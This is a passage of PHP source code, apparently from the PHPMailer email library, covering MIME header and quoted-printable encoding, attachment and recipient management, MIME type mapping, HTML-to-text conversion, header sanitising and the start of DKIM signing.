$maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 - strlen($start) - strlen($end);\n \/\/ Average multi-byte ratio\n $ratio = $mb_length \/ strlen($str);\n \/\/ Base64 has a 4:3 ratio\n $avgLength = floor($length * $ratio * .75);\n\n for ($i = 0; $i < $mb_length; $i += $offset) {\n $lookBack = 0;\n do {\n $offset = $avgLength - $lookBack;\n $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n $chunk = base64_encode($chunk);\n $lookBack++;\n } while (strlen($chunk) > $length);\n $encoded .= $chunk . $linebreak;\n }\n\n \/\/ Chomp the last linefeed\n $encoded = substr($encoded, 0, -strlen($linebreak));\n return $encoded;\n }\n\n \/**\n * Encode a string in quoted-printable format.\n * According to RFC2045 section 6.7.\n * @access public\n * @param string $string The text to encode\n * @param integer $line_max Number of chars allowed on a line before wrapping\n * @return string\n * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n *\/\n public function encodeQP($string, $line_max = 76)\n {\n \/\/ Use native function if it's available (>= PHP5.3)\n if (function_exists('quoted_printable_encode')) {\n return quoted_printable_encode($string);\n }\n \/\/ Fall back to a pure PHP implementation\n $string = str_replace(\n array('%20', '%0D%0A.', '%0D%0A', '%'),\n array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n rawurlencode($string)\n );\n return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n }\n\n \/**\n * Backward compatibility wrapper for an old QP encoding function that was removed.\n * @see PHPMailer::encodeQP()\n * @access public\n * @param string $string\n * @param integer $line_max\n * @param boolean $space_conv\n * @return string\n * @deprecated Use encodeQP instead.\n *\/\n public function encodeQPphp(\n $string,\n $line_max = 76,\n \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n ) {\n return $this->encodeQP($string, $line_max);\n }\n\n \/**\n * Encode a string using Q encoding.\n * @link http:\/\/tools.ietf.org\/html\/rfc2047\n * @param string $str the text to encode\n * @param string $position Where the text is going to be used, see the RFC for what that means\n * @access public\n * @return string\n *\/\n public function encodeQ($str, $position = 'text')\n {\n \/\/ There should not be any EOL in the string\n $pattern = '';\n $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n switch (strtolower($position)) {\n case 'phrase':\n \/\/ RFC 2047 section 5.3\n $pattern = '^A-Za-z0-9!*+\\\/ -';\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n \/\/ RFC 2047 section 5.2\n $pattern = '\\(\\)\"';\n \/\/ intentional fall-through\n \/\/ for this reason we build the $pattern without including delimiters and []\n case 'text':\n default:\n \/\/ RFC 2047 section 5.1\n \/\/ Replace every high ascii, control, =, ? and _ characters\n $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n break;\n }\n $matches = array();\n if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n \/\/ If the string contains an '=', make sure it's the first thing we replace\n \/\/ so as to avoid double-encoding\n $eqkey = array_search('=', $matches[0]);\n if (false !== $eqkey) {\n unset($matches[0][$eqkey]);\n array_unshift($matches[0], '=');\n }\n foreach (array_unique($matches[0]) as $char) {\n $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n }\n }\n \/\/ Replace every spaces to _ (more readable than =20)\n return str_replace(' ', '_', $encoded);\n }\n\n \/**\n * Add a string or binary attachment (non-filesystem).\n * This method can be used to attach ascii or binary data,\n * such as a BLOB record from a database.\n * @param string $string String attachment data.\n * @param string $filename Name of the attachment.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @return void\n *\/\n public function addStringAttachment(\n $string,\n $filename,\n $encoding = 'base64',\n $type = '',\n $disposition = 'attachment'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($filename);\n }\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $filename,\n 2 => basename($filename),\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n }\n\n \/**\n * Add an embedded (inline) attachment from a file.\n * This can include images, sounds, and just about any other document type.\n * These differ from 'regular' attachments in that they are intended to be\n * displayed inline with the message, not just attached for download.\n * This is used in HTML messages that embed the images\n * the HTML refers to using the $cid value.\n * Never use a user-supplied path to a file!\n * @param string $path Path to the attachment.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n $this->setError($this->lang('file_access') . $path);\n return false;\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Add an embedded stringified attachment.\n * This can include images, sounds, and just about any other document type.\n * Be sure to set the $type to an image type for images:\n * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n * @param string $string The attachment binary data.\n * @param string $cid Content ID of the attachment; Use this to reference\n * the content when using an embedded image in HTML.\n * @param string $name\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type MIME type.\n * @param string $disposition Disposition to use\n * @return boolean True on successfully adding an attachment\n *\/\n public function addStringEmbeddedImage(\n $string,\n $cid,\n $name = '',\n $encoding = 'base64',\n $type = '',\n $disposition = 'inline'\n ) {\n \/\/ If a MIME type is not specified, try to work it out from the name\n if ($type == '' and !empty($name)) {\n $type = self::filenameToType($name);\n }\n\n \/\/ Append to $attachment array\n $this->attachment[] = array(\n 0 => $string,\n 1 => $name,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => true, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => $cid\n );\n return true;\n }\n\n \/**\n * Check if an inline attachment is present.\n * @access public\n * @return boolean\n *\/\n public function inlineImageExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'inline') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if an attachment (non-inline) is present.\n * @return boolean\n *\/\n public function attachmentExists()\n {\n foreach ($this->attachment as $attachment) {\n if ($attachment[6] == 'attachment') {\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Check if this message has an alternative body set.\n * @return boolean\n *\/\n public function alternativeExists()\n {\n return !empty($this->AltBody);\n }\n\n \/**\n * Clear queued addresses of given kind.\n * @access protected\n * @param string $kind 'to', 'cc', or 'bcc'\n * @return void\n *\/\n public function clearQueuedAddresses($kind)\n {\n $RecipientsQueue = $this->RecipientsQueue;\n foreach ($RecipientsQueue as $address => $params) {\n if ($params[0] == $kind) {\n unset($this->RecipientsQueue[$address]);\n }\n }\n }\n\n \/**\n * Clear all To recipients.\n * @return void\n *\/\n public function clearAddresses()\n {\n foreach ($this->to as $to) {\n unset($this->all_recipients[strtolower($to[0])]);\n }\n $this->to = array();\n $this->clearQueuedAddresses('to');\n }\n\n \/**\n * Clear all CC recipients.\n * @return void\n *\/\n public function clearCCs()\n {\n foreach ($this->cc as $cc) {\n unset($this->all_recipients[strtolower($cc[0])]);\n }\n $this->cc = array();\n $this->clearQueuedAddresses('cc');\n }\n\n \/**\n * Clear all BCC recipients.\n * @return void\n *\/\n public function clearBCCs()\n {\n foreach ($this->bcc as $bcc) {\n unset($this->all_recipients[strtolower($bcc[0])]);\n }\n $this->bcc = array();\n $this->clearQueuedAddresses('bcc');\n }\n\n \/**\n * Clear all ReplyTo recipients.\n * @return void\n *\/\n public function clearReplyTos()\n {\n $this->ReplyTo = array();\n $this->ReplyToQueue = array();\n }\n\n \/**\n * Clear all recipient types.\n * @return void\n *\/\n public function clearAllRecipients()\n {\n $this->to = array();\n $this->cc = array();\n $this->bcc = array();\n $this->all_recipients = array();\n $this->RecipientsQueue = array();\n }\n\n \/**\n * Clear all filesystem, string, and binary attachments.\n * @return void\n *\/\n public function clearAttachments()\n {\n $this->attachment = array();\n }\n\n \/**\n * Clear all custom headers.\n * @return void\n *\/\n public function clearCustomHeaders()\n {\n $this->CustomHeader = array();\n }\n\n \/**\n * Add an error message to the error container.\n * @access protected\n * @param string $msg\n * @return void\n *\/\n protected function setError($msg)\n {\n $this->error_count++;\n if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n $lasterror = $this->smtp->getError();\n if (!empty($lasterror['error'])) {\n $msg .= $this->lang('smtp_error') . $lasterror['error'];\n if (!empty($lasterror['detail'])) {\n $msg .= ' Detail: '. $lasterror['detail'];\n }\n if (!empty($lasterror['smtp_code'])) {\n $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n }\n if (!empty($lasterror['smtp_code_ex'])) {\n $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n }\n }\n }\n $this->ErrorInfo = $msg;\n }\n\n \/**\n * Return an RFC 822 formatted date.\n * @access public\n * @return string\n * @static\n *\/\n public static function rfcDate()\n {\n \/\/ Set the time zone to whatever the default is to avoid 500 errors\n \/\/ Will default to UTC if it's not set properly in php.ini\n date_default_timezone_set(@date_default_timezone_get());\n return date('D, j M Y H:i:s O');\n }\n\n \/**\n * Get the server hostname.\n * Returns 'localhost.localdomain' if unknown.\n * @access protected\n * @return string\n *\/\n protected function serverHostname()\n {\n $result = 'localhost.localdomain';\n if (!empty($this->Hostname)) {\n $result = $this->Hostname;\n } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n $result = $_SERVER['SERVER_NAME'];\n } elseif (function_exists('gethostname') && gethostname() !== false) {\n $result = gethostname();\n } elseif (php_uname('n') !== false) {\n $result = php_uname('n');\n }\n return $result;\n }\n\n \/**\n * Get an error message in the current language.\n * @access protected\n * @param string $key\n * @return string\n *\/\n protected function lang($key)\n {\n if (count($this->language) < 1) {\n $this->setLanguage('en'); \/\/ set the default language\n }\n\n if (array_key_exists($key, $this->language)) {\n if ($key == 'smtp_connect_failed') {\n \/\/Include a link to troubleshooting docs on SMTP connection failure\n \/\/this is by far the biggest cause of support questions\n \/\/but it's usually not PHPMailer's fault.\n return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n }\n return $this->language[$key];\n } else {\n \/\/Return the key as a fallback\n return $key;\n }\n }\n\n \/**\n * Check if an error occurred.\n * @access public\n * @return boolean True if an error did occur.\n *\/\n public function isError()\n {\n return ($this->error_count > 0);\n }\n\n \/**\n * Ensure consistent line endings in a string.\n * Changes every end of line from CRLF, CR or LF to $this->LE.\n * @access public\n * @param string $str String to fixEOL\n * @return string\n *\/\n public function fixEOL($str)\n {\n \/\/ Normalise to \\n\n $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n \/\/ Now convert LE as needed\n if ($this->LE !== \"\\n\") {\n $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n }\n return $nstr;\n }\n\n \/**\n * Add a custom header.\n * $name value can be overloaded to contain\n * both header name and value (name:value)\n * @access public\n * @param string $name Custom header name\n * @param string $value Header value\n * @return void\n *\/\n public function addCustomHeader($name, $value = null)\n {\n if ($value === null) {\n \/\/ Value passed in as name:value\n $this->CustomHeader[] = explode(':', $name, 2);\n } else {\n $this->CustomHeader[] = array($name, $value);\n }\n }\n\n \/**\n * Returns all custom headers.\n * @return array\n *\/\n public function getCustomHeaders()\n {\n return $this->CustomHeader;\n }\n\n \/**\n * Create a message body from an HTML string.\n * Automatically inlines images and creates a plain-text version by converting the HTML,\n * overwriting any existing values in Body and AltBody.\n * Do not source $message content from user input!\n * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n * @access public\n * @param string $message HTML message string\n * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n * or your own custom converter @see PHPMailer::html2text()\n * @return string $message The transformed message Body\n *\/\n public function msgHTML($message, $basedir = '', $advanced = false)\n {\n preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n if (array_key_exists(2, $images)) {\n if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n \/\/ Ensure $basedir has a trailing \/\n $basedir .= '\/';\n }\n foreach ($images[2] as $imgindex => $url) {\n \/\/ Convert data URIs into embedded images\n if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n $data = substr($url, strpos($url, ','));\n if ($match[2]) {\n $data = base64_decode($data);\n } else {\n $data = rawurldecode($data);\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n $message = str_replace(\n $images[0][$imgindex],\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n continue;\n }\n if (\n \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n !empty($basedir)\n \/\/ Ignore URLs containing parent dir traversal (..)\n && (strpos($url, '..') === false)\n \/\/ Do not change urls that are already inline images\n && substr($url, 0, 4) !== 'cid:'\n \/\/ Do not change absolute URLs, including anonymous protocol\n && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n ) {\n $filename = basename($url);\n $directory = dirname($url);\n if ($directory == '.') {\n $directory = '';\n }\n $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n $directory .= '\/';\n }\n if ($this->addEmbeddedImage(\n $basedir . $directory . $filename,\n $cid,\n $filename,\n 'base64',\n self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n )\n ) {\n $message = preg_replace(\n '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n $message\n );\n }\n }\n }\n }\n $this->isHTML(true);\n \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n $this->Body = $this->normalizeBreaks($message);\n $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n if (!$this->alternativeExists()) {\n $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n self::CRLF . self::CRLF;\n }\n return $this->Body;\n }\n\n \/**\n * Convert an HTML string into plain text.\n * This is used by msgHTML().\n * Note - older versions of this function used a bundled advanced converter\n * which was been removed for license reasons in #232.\n * Example usage:\n * <code>\n * \/\/ Use default conversion\n * $plain = $mail->html2text($html);\n * \/\/ Use your own custom converter\n * $plain = $mail->html2text($html, function($html) {\n * $converter = new MyHtml2text($html);\n * return $converter->get_text();\n * });\n * <\/code>\n * @param string $html The HTML text to convert\n * @param boolean|callable $advanced Any boolean value to use the internal converter,\n * or provide your own callable for custom conversion.\n * @return string\n *\/\n public function html2text($html, $advanced = false)\n {\n if (is_callable($advanced)) {\n return call_user_func($advanced, $html);\n }\n return html_entity_decode(\n trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n ENT_QUOTES,\n $this->CharSet\n );\n }\n\n \/**\n * Get the MIME type for a file extension.\n * @param string $ext File extension\n * @access public\n * @return string MIME type of file.\n * @static\n *\/\n public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application\/excel',\n 'js' => 'application\/javascript',\n 'hqx' => 'application\/mac-binhex40',\n 'cpt' => 'application\/mac-compactpro',\n 'bin' => 'application\/macbinary',\n 'doc' => 'application\/msword',\n 'word' => 'application\/msword',\n 'xlsx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application\/octet-stream',\n 'dll' => 'application\/octet-stream',\n 'dms' => 'application\/octet-stream',\n 'exe' => 'application\/octet-stream',\n 'lha' => 'application\/octet-stream',\n 'lzh' => 'application\/octet-stream',\n 'psd' => 'application\/octet-stream',\n 'sea' => 'application\/octet-stream',\n 'so' => 'application\/octet-stream',\n 'oda' => 'application\/oda',\n 'pdf' => 'application\/pdf',\n 'ai' => 'application\/postscript',\n 'eps' => 'application\/postscript',\n 'ps' => 'application\/postscript',\n 'smi' => 'application\/smil',\n 'smil' => 'application\/smil',\n 'mif' => 'application\/vnd.mif',\n 'xls' => 'application\/vnd.ms-excel',\n 'ppt' => 'application\/vnd.ms-powerpoint',\n 'wbxml' => 'application\/vnd.wap.wbxml',\n 'wmlc' => 'application\/vnd.wap.wmlc',\n 'dcr' => 'application\/x-director',\n 'dir' => 'application\/x-director',\n 'dxr' => 'application\/x-director',\n 'dvi' => 'application\/x-dvi',\n 'gtar' => 'application\/x-gtar',\n 'php3' => 'application\/x-httpd-php',\n 'php4' => 'application\/x-httpd-php',\n 'php' => 'application\/x-httpd-php',\n 'phtml' => 'application\/x-httpd-php',\n 'phps' => 'application\/x-httpd-php-source',\n 'swf' => 'application\/x-shockwave-flash',\n 'sit' => 'application\/x-stuffit',\n 'tar' => 'application\/x-tar',\n 'tgz' => 'application\/x-tar',\n 'xht' => 'application\/xhtml+xml',\n 'xhtml' => 'application\/xhtml+xml',\n 'zip' => 'application\/zip',\n 'mid' => 'audio\/midi',\n 'midi' => 'audio\/midi',\n 'mp2' => 'audio\/mpeg',\n 'mp3' => 'audio\/mpeg',\n 'mpga' => 'audio\/mpeg',\n 'aif' => 'audio\/x-aiff',\n 'aifc' => 'audio\/x-aiff',\n 'aiff' => 'audio\/x-aiff',\n 'ram' => 'audio\/x-pn-realaudio',\n 'rm' => 'audio\/x-pn-realaudio',\n 'rpm' => 'audio\/x-pn-realaudio-plugin',\n 'ra' => 'audio\/x-realaudio',\n 'wav' => 'audio\/x-wav',\n 'bmp' => 'image\/bmp',\n 'gif' => 'image\/gif',\n 'jpeg' => 'image\/jpeg',\n 'jpe' => 'image\/jpeg',\n 'jpg' => 'image\/jpeg',\n 'png' => 'image\/png',\n 'tiff' => 'image\/tiff',\n 'tif' => 'image\/tiff',\n 'eml' => 'message\/rfc822',\n 'css' => 'text\/css',\n 'html' => 'text\/html',\n 'htm' => 'text\/html',\n 'shtml' => 'text\/html',\n 'log' => 'text\/plain',\n 'text' => 'text\/plain',\n 'txt' => 'text\/plain',\n 'rtx' => 'text\/richtext',\n 'rtf' => 'text\/rtf',\n 'vcf' => 'text\/vcard',\n 'vcard' => 'text\/vcard',\n 'xml' => 'text\/xml',\n 'xsl' => 'text\/xml',\n 'mpeg' => 'video\/mpeg',\n 'mpe' => 'video\/mpeg',\n 'mpg' => 'video\/mpeg',\n 'mov' => 'video\/quicktime',\n 'qt' => 'video\/quicktime',\n 'rv' => 'video\/vnd.rn-realvideo',\n 'avi' => 'video\/x-msvideo',\n 'movie' => 'video\/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application\/octet-stream';\n }\n\n \/**\n * Map a file name to a MIME type.\n * Defaults to 'application\/octet-stream', i.e.. arbitrary binary data.\n * @param string $filename A file name or full path, does not need to exist as a file\n * @return string\n * @static\n *\/\n public static function filenameToType($filename)\n {\n \/\/ In case the path is a URL, strip any query string before getting extension\n $qpos = strpos($filename, '?');\n if (false !== $qpos) {\n $filename = substr($filename, 0, $qpos);\n }\n $pathinfo = self::mb_pathinfo($filename);\n return self::_mime_types($pathinfo['extension']);\n }\n\n \/**\n * Multi-byte-safe pathinfo replacement.\n * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.\n * Works similarly to the one in PHP >= 5.2.0\n * @link http:\/\/www.php.net\/manual\/en\/function.pathinfo.php#107461\n * @param string $path A filename or path, does not need to exist as a file\n * @param integer|string $options Either a PATHINFO_* constant,\n * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2\n * @return string|array\n * @static\n *\/\n public static function mb_pathinfo($path, $options = null)\n {\n $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');\n $pathinfo = array();\n if (preg_match('%^(.*?)[\\\\\\\\\/]*(([^\/\\\\\\\\]*?)(\\.([^\\.\\\\\\\\\/]+?)|))[\\\\\\\\\/\\.]*$%im', $path, $pathinfo)) {\n if (array_key_exists(1, $pathinfo)) {\n $ret['dirname'] = $pathinfo[1];\n }\n if (array_key_exists(2, $pathinfo)) {\n $ret['basename'] = $pathinfo[2];\n }\n if (array_key_exists(5, $pathinfo)) {\n $ret['extension'] = $pathinfo[5];\n }\n if (array_key_exists(3, $pathinfo)) {\n $ret['filename'] = $pathinfo[3];\n }\n }\n switch ($options) {\n case PATHINFO_DIRNAME:\n case 'dirname':\n return $ret['dirname'];\n case PATHINFO_BASENAME:\n case 'basename':\n return $ret['basename'];\n case PATHINFO_EXTENSION:\n case 'extension':\n return $ret['extension'];\n case PATHINFO_FILENAME:\n case 'filename':\n return $ret['filename'];\n default:\n return $ret;\n }\n }\n\n \/**\n * Set or reset instance properties.\n * You should avoid this function - it's more verbose, less efficient, more error-prone and\n * harder to debug than setting properties directly.\n * Usage Example:\n * `$mail->set('SMTPSecure', 'tls');`\n * is the same as:\n * `$mail->SMTPSecure = 'tls';`\n * @access public\n * @param string $name The property name to set\n * @param mixed $value The value to set the property to\n * @return boolean\n * @TODO Should this not be using the __set() magic function?\n *\/\n public function set($name, $value = '')\n {\n if (property_exists($this, $name)) {\n $this->$name = $value;\n return true;\n } else {\n $this->setError($this->lang('variable_set') . $name);\n return false;\n }\n }\n\n \/**\n * Strip newlines to prevent header injection.\n * @access public\n * @param string $str\n * @return string\n *\/\n public function secureHeader($str)\n {\n return trim(str_replace(array(\"\\r\", \"\\n\"), '', $str));\n }\n\n \/**\n * Normalize line breaks in a string.\n * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.\n * Defaults to CRLF (for message bodies) and preserves consecutive breaks.\n * @param string $text\n * @param string $breaktype What kind of line break to use, defaults to CRLF\n * @return string\n * @access public\n * @static\n *\/\n public static function normalizeBreaks($text, $breaktype = \"\\r\\n\")\n {\n return preg_replace('\/(\\r\\n|\\r|\\n)\/ms', $breaktype, $text);\n }\n\n \/**\n * Set the public and private key files and password for S\/MIME signing.\n * @access public\n * @param string $cert_filename\n * @param string $key_filename\n * @param string $key_pass Password for private key\n * @param string $extracerts_filename Optional path to chain certificate\n *\/\n public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')\n {\n $this->sign_cert_file = $cert_filename;\n $this->sign_key_file = $key_filename;\n $this->sign_key_pass = $key_pass;\n $this->sign_extracerts_file = $extracerts_filename;\n }\n\n \/**\n * Quoted-Printable-encode a DKIM header.\n * @access public\n * @param string $txt\n * @return string\n *\/\n public function DKIM_QP($txt)\n {\n $line = '';\n for ($i = 0; $i < strlen($txt); $i++) {\n $ord = ord($txt[$i]);\n if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {\n $line .= $txt[$i];\n } else {\n $line .= '=' . sprintf('%02X', $ord);\n }\n }\n return $line;\n }\n\n \/**\n * Generate a DKIM signature.\n * @access public\n * @param string $signHeader\n * @throws phpmailerException\n * @return string The DKIM signature value\n *\/\n public function DKIM_Sign($signHeader)\n {\n if (!defined('PKCS7_TEXT')) {\n if ($this->exceptions) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n return '';\n }\n $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);\n if ('' != $this->DKIM_passphrase) {\n $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);\n } else {\n $privKey = openssl_pkey_get_private($privKeyStr);\n }\n \/\/Workaround for missing digest algorithms in old PHP & OpenSSL versions\n \/\/@link http:\/\/stackoverflow.com\/a\/11117338\/333340\n if (version_compare(PHP_VERSION, '5.3.0') >= 0 and\n in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {\n if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n } else {\n $pinfo = openssl_pkey_get_details($privKey);\n $hash = hash('sha256', $signHeader);\n \/\/'Magic' constant for SHA256 from RFC3447\n \/\/@link https:\/\/tools.ietf.org\/html\/rfc3447#page-43\n $t = '3031300d060960864801650304020105000420' . $hash;\n $pslen = $pinfo['bits'] \/ 8 - (strlen($t) \/ 2 + 3);\n $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);\n\n if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {\n openssl_pkey_free($privKey);\n return base64_encode($signature);\n }\n }\n openssl_pkey_free($privKey);\n return '';\n }\n\n \/**\n * Generate a DKIM canonicalization header.\n * @access public\n * @param string $signHeader Header\n * @return string\n *\/\n public function DKIM_HeaderC($signHeader)\n {\n $signHeader = preg_replace('\/\\r\\n\\s+\/', ' ', $signHeader);\n $lines = explode(\"\\r\\n\", $signHeader);\n foreach ($lines as $key => $line) {\n list($heading, $value) = explode(':', $line, 2);\n $heading = strtolower($heading);\n $value = preg_replace('\/\\s{2,}\/', ' ', $value); \/\/ Compress useless spaces\n $lines[$key] = $heading . ':' . trim($value); \/\/ Don't forget to remove WSP around the value\n }\n $signHeader = implode(\"\\r\\n\", $lines);\n return $signHeader;\n }\n\n \/**\n * Generate a DKIM canonicalization body.\n * @access public\n * @param string $body Message Body\n * @return string\n *\/\n public function DKIM_BodyC($body)\n {\n if ($body == '') {\n return \"\\r\\n\";\n }\n \/\/ stabilize line endings\n $body = str_replace(\"\\r\\n\", \"\\n\", $body);\n $body = str_replace(\"\\n\", \"\\r\\n\", $body);\n \/\/ END stabilize line endings\n while (substr($body, strlen($body) - 4, 4) == \"\\r\\n\\r\\n\") {\n $body = substr($body, 0, strlen($body) - 2);\n }\n return $body;\n }\n\n \/**\n * Create the DKIM header and body in a new message header.\n * @access public\n * @param string $headers_line Header lines\n * @param string $subject Subject\n * @param string $body Body\n * @return string\n *\/\n public function DKIM_Add($headers_line, $subject, $body)\n {\n $DKIMsignatureType = 